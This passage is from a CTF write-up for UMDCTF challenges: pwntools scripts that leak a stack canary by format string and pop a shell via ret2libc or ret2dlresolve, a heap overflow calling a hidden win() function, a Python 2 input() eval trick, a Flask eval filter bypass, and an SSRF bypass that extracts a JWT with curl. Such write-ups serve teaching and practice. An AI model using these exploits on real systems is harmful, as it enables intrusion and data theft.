After leaking the canary we also need to find the right libc used remotely for the binary. Again we can do this by leaking libc pointers with the format string. From the stack we can check the libc symbols related to each pointers. We can try to find the right libc online using the leaks (_IO_file_jumps, _IO_2_1_stdout_, setbuffer …). At this point of the exploit I struggled a bit while searching the libc because https://libc.blukat.me/ wasn’t giving the right results. Me patiently searching libc:

rage

Then I tried with https://libc.rip/ and I found the right result: libc6_2.31-0ubuntu9.7_amd64.so. After that, thanks to one_gadget, all the work was done, the rest is the python script.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./_classicact")
libc = ELF("libc.so.6")
context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
    elif args.GDB:
        r = gdb.debug([exe.path], gdbscript='b vuln')
    else:
        r = remote("0.cloud.chals.io", 10058)

    return r

def ret2dlres(r):
    dlresolve = Ret2dlresolvePayload(exe, symbol="system", args=["sh"])
    rop = ROP(exe)
    ret = rop.find_gadget(['ret'])[0]
    rop.raw(ret)
    rop.gets(dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    r.sendlineafter(b'!\n', b'%19$lx')
    r.recvline()
    canary = int(r.recv(16), 16)
    log.info(f'canary: {hex(canary)}')
    payload = b'a' * 72 + p64(canary) + b'a' * 8 + rop.chain() + b'\n' + dlresolve.payload
    r.sendlineafter(b'?\n', payload)

def ret2libc(r):
    # leak canary and libc pointer
    r.sendlineafter(b'!\n', b'%19$lx%12$lx')
    r.recvline()
    canary = int(r.recv(16), 16)
    leak = int(r.recv(12), 16)
    # compute libc base address
    libc.address = leak - libc.sym._IO_2_1_stdout_
    print(hex(libc.address))
    # one_gadget found from command line
    one_gadget = p64(libc.address + 0xe3b31)
    r.sendlineafter(b'?\n', b'a' * 72 + p64(canary) + b'a' * 8 + one_gadget)

def main():
    r = conn()
    ret2libc(r)
    # ret2dlres(r)
    r.interactive()

if __name__ == "__main__":
    main()

As you can see there is also another exploit in the script. After I solved the challenge I wondered if there was another method that didn’t involve finding the right libc. After a short search I realized that ret2dlresolve was what I needed. Here some references about it:

🏁 UMDCTF{H3r3_W3_G0_AgAIn_an0thEr_RET2LIBC}

Legacy

Fred just won’t keep up with the times. Why don’t you show him the error of his ways?

This challenge don’t have attachments, so the only thing we can do is to connect to the given address.

I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!

The program asks us to guess a secret number. Let’s try to play fairly:

0,1     <-- our input1
0,01    <-- our input2
0,001   <-- our input3
3 chances left!
2 chances left!
1 chances left!
Deprecated shmeprecated!
Python 2 will never die!

Ok we couldn’t guess correctly. At the end we receive also a strange message referring to python2 deprecation, maybe this will be useful. Now we can try non-numerical inputs:

I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!
a   <-- our input
3 chances left!
Traceback (most recent call last):
  File "/home/ctf/legacy.py", line 15, in <module>
    if (input(str(3-i) + " chances left! \n") == secret):
  File "<string>", line 1, in <module>
NameError: name 'a' is not defined

Interesting. We receive a python error message, which tell us that our input taken with the input() function is compared to the variable secret. It also says that a is not defined. This happens because in Python 2.x the input() function is equivalent to eval(raw_input), so the script can read user input into a variable. Fortunately we know the name of the secret variable:

I bet you can't guess my *secret* number!
I'll give you hint, its between 0 and 0,1000000000000000514!
secret
3 chances left!
No way!
UMDCTF{**_**_*******}

🏁 UMDCTF{W3_H8_p7th0n2}

The Show Must Go On

We are in the business of entertainment, the show must go on! Hope we can find someone to replace our old act super fast…
Attachments: theshow

We are given a 64-bit not-stripped binary. Checksec reveals this protections:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

We can firstly take a look at the code decompiled with ghidra. The binary contains a huge number of functions, that is both strange and suspect. The most important are:

  • main

      void main(void) {
          int iVar1;
    
          setbuf((FILE *)stdout,(char *)0x0);
          setbuf((FILE *)stdin,(char *)0x0);
          setbuf((FILE *)stderr,(char *)0x0);
          setup();
          iVar1 = whatToDo();
          if (iVar1 != 0) {
              puts("The show is over, goodbye!");
          }
          return;
      }
    

    The main function seems pretty clear, let’s examine the 2 functions setup and whatToDo:

  • setup

      undefined8 setup(void) {
          long in_FS_OFFSET;
          int desc_length;
          char *crypt_result;
          undefined act_name [40];
          long local_10;
          undefined8 *strings;
    
          local_10 = *(long *)(in_FS_OFFSET + 0x28);
          crypt_result = (char *)0x0;
          desc_length = 0;
          message1 = (undefined8 *)malloc_set(0x50);
          message2 = (undefined8 *)malloc_set(0x60);
          message3 = (undefined8 *)malloc_set(0x80);
          strings = message1;
          *message1 = 0x20656d6f636c6557;
          strings[1] = 0x6320656874206f74;
          strings[2] = 0x6c63207964656d6f;
          *(undefined4 *)(strings + 3) = 0xa216275;
          strings = message2;
          *message2 = 0x20796c6e6f206557;
          strings[1] = 0x6568742065766168;
          strings[2] = 0x6f63207473656220;
          strings[3] = 0x20736e616964656d;
          *(undefined4 *)(strings + 4) = 0x65726568;
          *(undefined *)((long)strings + 0x24) = 0x21;
          strings = message3;
          *message3 = 0x6820657361656c50;
          strings[1] = 0x7320737520706c65;
          strings[2] = 0x6f66207075207465;
          strings[3] = 0x612072756f792072;
          *(undefined4 *)(strings + 4) = 0xa7463;
          printf("%s",message1);
          printf("%s",message2);
          printf("%s",message3);
          puts("What is the name of your act?");
          __isoc99_scanf(&DAT_004bb1e6,act_name);
          mainAct = malloc_set(0x68);
          nop(mainAct,act_name,0x20);
          crypt_result = crypt("Main_Act_Is_The_Best",salt);
          nop(mainAct + 0x20,crypt_result,0x40);
          puts("Your act code is: Main_Act_Is_The_Best");
          *(code **)(mainAct + 0x60) = tellAJoke;
          currentAct = mainAct;
          free(message1);
          free(message3);
          puts("How long do you want the show description to be?");
          __isoc99_scanf(&%d,&desc_length);
          showDescription = (char *)malloc_set((long)(desc_length + 8));
          puts("Describe the show for us:");
          getchar();
          fgets(showDescription,500,(FILE *)stdin);
          actList._0_8_ = mainAct;
          if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                              /* WARNING: Subroutine does not return */
              __stack_chk_fail();
          }
          return 0;
      }
    
  • whatToDo

      undefined4 whatToDo(void) {
          long in_FS_OFFSET;
          int local_18;
          undefined4 local_14;
          long local_10;
    
          local_10 = *(long *)(in_FS_OFFSET + 0x28);
          puts("What would you like to do?");
          local_18 = 0;
          local_14 = 0;
          puts("+-------------+");
          puts("|   Actions   |");
          puts("|-------------|");
          puts("| Perform Act |");
          puts("| Switch Act  |");
          puts("| End Show    |");
          puts("+-------------|");
          printf("Action: ");
          __isoc99_scanf(&%d,&local_18);
          if (local_18 == 2) {
              switchAct();
              puts("I think the current act switched switched. It might appear when we start up again...");
          }
          else {
              if (local_18 == 3) {
              local_14 = 1;
              }
              else {
              if (local_18 == 1) {
                  (**(code **)(currentAct + 0x60))();
              }
              }
          }
          if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                              /* WARNING: Subroutine does not return */
              __stack_chk_fail();
          }
          return local_14;
      }
    

Although the setup functions is a bit messy we can understand the overall behavior of the binary. Initially we are asked to give in input the name of our act (0x68 bytes allocated). After that are executed a few useless operation (like crypt) and at main+0x60 is assigned a pointer to the function tellAJoke. Then we are asked the length of the act’s description, but independently of our input the program receives 500 bytes through the fgets functions: this is a clear buffer overflow vulnerability. The function what to do simply allow us to perform our act, executing the function pointed by main+0x60 which normally is tellAJoke, or to switch our act with another.

Once we understood the behavior of the program it’s easy to spot the vulnerability: through a heap overflow (possible since we choose desc_length) we can overwrite the pointer in main act and execute every function we want. At this point I naively thought: “It would be perfect if we had a function like printFlag or popShell”. While I was absorbed in thoughts I realized that maybe the big amount of functions of the binary, previously mentioned, was used to hide such a “magic” function. It turned out that I was correct and with a brief search I found the win() function that print the flag. The rest of the exploit simply consist in gdb checks in order to find offsets for the overflow.

Script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./theshow")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
    elif args.GDB:
        r = gdb.debug([exe.path], gdbscript='''b main''')
    else:
        r = remote("0.cloud.chals.io", 30138)
    return r

def main():
    r = conn()
    r.sendlineafter(b'act?\n', b'born2scan')
    r.sendlineafter(b'be?\n', b'120')
    # heap overflow
    r.sendlineafter(b'us:\n', b'a' * 240 + p64(exe.sym.win))
    r.sendlineafter(b'Action: ', b'1')
    print(r.recvline().decode())

if __name__ == "__main__":
    main()

🏁 UMDCTF{b1ns_cAN_B3_5up3r_f4st}


Rev

DragonPit

Fred is trying to learn how to deal with dragons. Can you help him out?
Attachments: dragonPit

For this challenge we were given an ELF file, analyzing it with ghidra we can see that at first it asks us for an input and then compares it with a secret sentence: if the strings are equal the program prints the flag as shown in the image below.

ghidra

After having spent some time reconstructing the sentence with ghidra I decided to switch to gdb with which we can right away analyze the cmp function and see in clear our secret sentence. gdb

In the first image we can see that the program asks: “When should Fred jump into the dragon pit?”, looking at the two sentences on the second image we can see that the first one makes more sense then the second. In fact running the program with the input wh3nTheDr4gsHPis1048 gives us the flag.

solution

🏁 UMDCTF{BluSt0l3dr4g}

tiny

Scan for free crypto currency!
Attachments: tiny.png

In this challenge we were given a .png file, it being a reverse engineering problem I decided to analyze it with cyberchef hoping to find something more useful, in fact using Parse QR code, From base64 and Extract Files modules a .xz file was obtained which contained an ELF file.

Analyzing the file with ghidra we can observe two core functions, the first one encrypts the first part of the flag XORing each character with its position in the string, as we can see in the image below:

first function

With ghidra we can take the bytes that the function is XORing and simulate the process to get the first part of the flag as we see in the image below.

first script

The second one encrypts the second part of the flag in a different way, it shifts the byte and xors it, the tricky part here was “understanding” the right order of the two operations.

second function

As before we can take the bytes with ghidra and write a tiny script in python to simulate the process as it is shown below:

second script

🏁 UMDCTF{h3y_m0m_1m_0n_th3_r@d1o}


Web

A Simple Calculator

Calc you later! :)
Attachments: A_Simple_Calculator.zip

from flask import Flask, send_from_directory, request, render_template, json
from secrets import flag_enc, ws

app = Flask(__name__, static_url_path='')

def z(f: str):
    for w in ws:
        if w in f:
            raise Exception("nope")
    return True

@app.route('/')
def home():
    return render_template('index.html')

@app.route('/public/<path:path>')
def send_public(path):
    return send_from_directory('public', path)

@app.route('/calc', methods=['POST'])
def calc():
    val = 0
    try:
        z(request.json['f'])
        val = f"{int(eval(request.json['f']))}"
    except Exception as e:
        val = 0

    response = app.response_class(
        response=json.dumps({'result': val}),
        status=200,
        mimetype='application/json'
    )
    return response

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

This is the application; the interesting part is inside the POST /calc route handler.

What is send is checked at line 24 for some unknown bad strings, if there aren’t any our input is executed at line 25 and we receive the output converted to integer.

After a bit of trial and error, we asserted that the flag symbol flag_enc was allowed but the ord function was not. Fortunately, ord() is not the only way to transform a char into a integer in python.

With the following payload you could get each char as an int

{
    "f": "int.from_bytes(flag_enc[0].encode(), 'big')"
}

Automate it

from pwn import *
import requests

url = 'https://calculator-beu79.ondigitalocean.app'

# get flag
flag = ''
logger = log.progress('Flag')
for cur_flag_idx in range(1000):
    logger.status(flag)

    res = requests.post(url=url+'/calc', json={'f':f"int.from_bytes(flag_enc[{str(cur_flag_idx)}].encode(), 'big')"})
    flag += chr(int(res.text.split('"')[3]))

logger.success(flag)

And get the encrypted flag OGXWNZ{q0q_vlon3z0lw3cha_4wno4ffs_q0lem!}. The flag is found applying a ROT8

🏁 UMDCTF{w0w_brut3f0rc3ing_4ctu4lly_w0rks!}

Customer Support

Contact Devils customer supoprt and see what they have to offer.
Attachments: Customer_Support.zip
Hint: Refer to How do JSON Web Tokens work? on https://jwt.io/introduction

We are given the source code of a sort of Customer Support frontdesk application. The application is divided in two different services:

  1. Microservice, served locally on port 3000
  2. The main application, served publicly

Reading the source of /pages/api/auth.ts we can see that in order to get the flag (stored inside an environment variable) we need to send a specific Authorization cookie.

import type { NextApiRequest, NextApiResponse } from 'next';
import { getCookie } from 'cookies-next';
const dotenv = require('dotenv');
dotenv.config();

type Data = {
    status: string
    body: string
}

export default async function handler(
    req: NextApiRequest,
    res: NextApiResponse<Data>
) {
    if (req.method === 'GET') {
        const tok = getCookie('Authorization', {req, res});
        return res.status(200).json({ status: 'success', body: `${tok && tok == process.env.TOKEN ? process.env.FLAG : ''}`});
    }
}

Checking out what the local microservices does, we stumble upon an interesting part.

// [ ... ]
const authRouter = express.Router();
authRouter.get('/auth', function(req, res, next) {
    return res.status(200).json(JSON.stringify({ token: process.env.TOKEN }));
});
// [ ... ]

It seems like if we can make a GET request directly to the service, we get a JWT token that we can try out on the main service. But how do we manage to make a SSRF request on that service ? Let’s check out pages/api/contact.ts.

// [ ... ]
let c = (t: string) => {
  if(!t) return '';
  let r = t.match(/(https?:\/\/[^\s]+)/g);
  let s = r ? r[r.length - 1] : '';
  return s.includes('localhost') || s.includes( '127.0.0.1') || s.includes('0.0.0.0') ? '' : s;
}

let a = function (str: string) {
  return str.replace(/[^\w. ]/gi, function (c) {
    return '&#' + c.charCodeAt(0) + ';';
  });
};


//@ts-ignore
let l = (body) => {
  let v = [body.name, body.email, body.subject, body.message];
  return v.reduce((acc, vv) => vv && acc, true) && v.reduce((acc, vv: string) => acc && vv.length < 400, true) && body.email.includes('@');
}

export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse<Data>
) {
  if (req.method === 'POST') {
    const lookup = util.promisify(dns.lookup);

    // check that all parameters have the correct type (string)
    if(!l(req.body)){
      return res.status(400).json({ status: 'failed', body: '' });
    }

    // basic anti-SSRF check. Checks if param. message is a valid URL not pointing to localhost
    const cs = c(req.body.message);
    if(!cs){
      return res.status(200).json({ status: 'success', body: '' });
    }

    const u = parse(cs);
    let t: string;
    try {
      // try to lookup the address of the given URL, if false, use local microservise address
      t = u.hostname ? (await lookup(u.hostname)).address : `${process.env.MICROSERVICE}`;
    } catch (e) {
      return res.status(200).json({ status: 'success', body: `${process.env.DEF}`});
    }

    // Perform fetch request
    return fetch(`${u.protocol}//${t}`, {method: 'GET'})
        .then((r) => r.text())
        .then((b) => res.status(200).json({ status: 'success', body: b.substring(0, b.length < 20000 ? b.length : 20000)}))
        .catch((e => {res.status(200).json({ status: 'success', body: 'UNDEF' }); console.log(e)}));
  }
}

Reading this code, we realize that in order to reach the microservice, we simply have to POST a request on /api/contact and provide a crafted URL inside the message parameter. This URL should not be a valid URL so the application returns false on await lookup(u.hostname)).address and uses process.env.MICROSERVICE as the target URL.

To do so, we simply use a payload like http://%25 and get the JWT token.

$ curl -X POST https://customer-support-p558t.ondigitalocean.app/api/contact -d "name=test&email=test@test.com&subject=test&message=http://%25"
$ {"status":"success","body":"\"{\\\"token\\\":\\\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlVNRENURiIsImIiOiJUb2RheSBJIHdpbGwgbGl2ZSBpbiB0aGUgbW9tZW50LCB1bmxlc3MgaXQgaXMgdW5wbGVhc2FudCwgaW4gd2hpY2ggY2FzZSwgSSB3aWxsIGVhdCIsImlhdCI6MTcxNjIzOTAyMn0.7SoLIpd9dL9d3Lx84vbAqlLCE5rR3fWqN8ZWLx41QDE\\\"}\""}

Bingo, the next step is to try out this token on the main application. Making a GET request on /api/auth and using the correct format on the cookie (Authorization=Bearer JWT_TOKEN), we get the flag.

$ curl https://customer-support-p558t.ondigitalocean.app/api/auth --cookie "Authorization=Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlVNRENURiIsImIiOiJUb2RheSBJIHdpbGwgbGl2ZSBpbiB0aGUgbW9tZW50LCB1bmxlc3MgaXQgaXMgdW5wbGVhc2FudCwgaW4gd2hpY2ggY2FzZSwgSSB3aWxsIGVhdCIsImlhdCI6MTcxNjIzOTAyMn0.7SoLIpd9dL9d3Lx84vbAqlLCE5rR3fWqN8ZWLx41QDE"
$ {"status":"success","body":"UMDCTF{REDACTED}"}

🏁 UMDCTF{I_b3t_th@t_c00kie_t4sted_g00d_d!dnt_it!U4L_p4rs1ng_suck5}